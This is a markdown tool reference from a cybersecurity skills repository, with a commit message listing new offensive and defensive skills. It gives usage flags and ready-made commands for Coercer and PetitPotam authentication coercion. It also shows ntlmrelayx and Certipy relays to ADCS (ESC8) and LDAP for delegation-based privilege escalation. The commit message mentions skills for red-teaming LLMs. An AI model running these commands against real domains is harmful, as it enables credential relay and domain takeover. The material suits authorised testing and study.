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Anthropic-Cybersecurity-Skills/skills/coercing-authentication-with-coercer-petitpotam/references/api-reference.md
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mukul975 8cae0648ec Add 55 new skills across 3 new domains + 6 undercovered areas (762 -> 817)
Demand-driven expansion targeting the fastest-growing 2025-2026 threat and
skills categories (ISC2/WEF/CrowdStrike/Mandiant signals):

- AI Security (NEW domain, 12 skills): LLM red-teaming with garak/PyRIT,
  prompt injection (direct/indirect/RAG), MCP tool-poisoning, agentic tool
  invocation, guardrails, model/data poisoning, system-prompt leakage,
  embedding/vector weaknesses, model extraction, continuous red-teaming
- Supply Chain Security (NEW domain, 5 skills): SBOMs, dependency confusion,
  malicious-npm triage, typosquatting, SLSA/Sigstore provenance
- Hardware & Firmware Security (NEW domain, 4 skills): CHIPSEC/UEFI audit,
  Secure Boot bypass, TPM measured-boot attestation, ESP bootkit hunting
- Identity (10): Entra ID/ROADtools, GraphRunner, AADInternals, ADCS/Certipy,
  shadow credentials, coercion, BloodHound CE, device-code phishing, SSO abuse
- Cloud-native (8): Stratus, Pacu, CloudFox, container escape, K8s RBAC,
  Falco, Trivy, kube-bench
- Offensive C2 (6): Sliver, Havoc, NetExec, DPAPI, NTLM relay ESC8, redirectors
- DFIR (6): Hayabusa, Chainsaw, KAPE, Velociraptor, EZ Tools, Plaso
- Backfill (4): OpenCTI, MISP, honeytokens, post-quantum crypto migration

Each skill follows the repo taxonomy (SKILL.md + references/{standards,api-reference}.md
+ scripts/agent.py + LICENSE), with researched real tool commands (no placeholders),
complete frontmatter, and ATT&CK/ATLAS + NIST CSF mappings. Updates README domain
table, skill count, and index.json.
2026-06-22 19:08:16 +02:00

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Markdown

# Coercion Tooling Reference
## Coercer (https://github.com/p0dalirius/Coercer)
Install: `pipx install coercer` (or `sudo python3 -m pip install coercer`).
Modes: `scan`, `coerce`, `fuzz`.
| Flag | Meaning |
|------|---------|
| `-u, --username` | Domain username |
| `-p, --password` | Password |
| `-d, --domain` | Target domain |
| `--hashes LM:NT` | Pass-the-hash |
| `-k, --kerberos` | Kerberos auth |
| `-t, --target` | Single target host (IP/FQDN) |
| `-f, --targets-file` | File of targets |
| `-l, --listener` | Listener IP to receive coerced auth (coerce mode) |
| `-i, --interface` | Interface/IP to listen on (scan/fuzz modes) |
| `--target-ip` | Explicit target IP |
| `--always-continue` | Try all methods, don't stop on first success |
| `--filter-method-name NAME` | Only run a named method (e.g. PetitPotam) |
| `--filter-protocol-name NAME` | Filter by protocol (MS-EFSR, MS-RPRN...) |
| `--filter-pipe-name NAME` | Filter by named pipe (efsrpc, spoolss...) |
### Examples
```bash
coercer scan -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50
coercer coerce -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50 --always-continue
coercer coerce -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50 --filter-method-name PetitPotam
coercer fuzz -u u -p 'pw' -d corp.local -t 10.0.0.10 -l 10.0.0.50
```
## PetitPotam (https://github.com/topotam/PetitPotam)
Usage: `python3 PetitPotam.py [options] <listener> <target>`
| Flag | Meaning |
|------|---------|
| `-u USER` | Username (authenticated coercion) |
| `-p PASSWORD` | Password |
| `-d DOMAIN` | Domain |
| `-hashes LM:NT` | Pass-the-hash |
| `-pipe PIPE` | Named pipe (lsarpc, efsr, samr, netlogon, all) |
### Examples
```bash
python3 PetitPotam.py 10.0.0.50 10.0.0.10
python3 PetitPotam.py -u attacker -p 'pw' -d corp.local 10.0.0.50 10.0.0.10
```
## Relay targets
| Tool | Command |
|------|---------|
| Certipy (ESC8) | `certipy relay -target http://CA.CORP.LOCAL -template DomainController` |
| ntlmrelayx (ESC8) | `impacket-ntlmrelayx -t http://CA/certsrv/certfnsh.asp -smb2support --adcs --template DomainController` |
| ntlmrelayx (RBCD) | `impacket-ntlmrelayx -t ldap://dc.corp.local --delegate-access --escalate-user 'attacker$' -smb2support` |
## 12 Coercion Methods (by protocol)
MS-EFSR (PetitPotam), MS-RPRN (PrinterBug), MS-DFSNM (DFSCoerce),
MS-FSRVP (ShadowCoerce), MS-EVEN, plus additional RPC methods enumerated by `coercer scan`.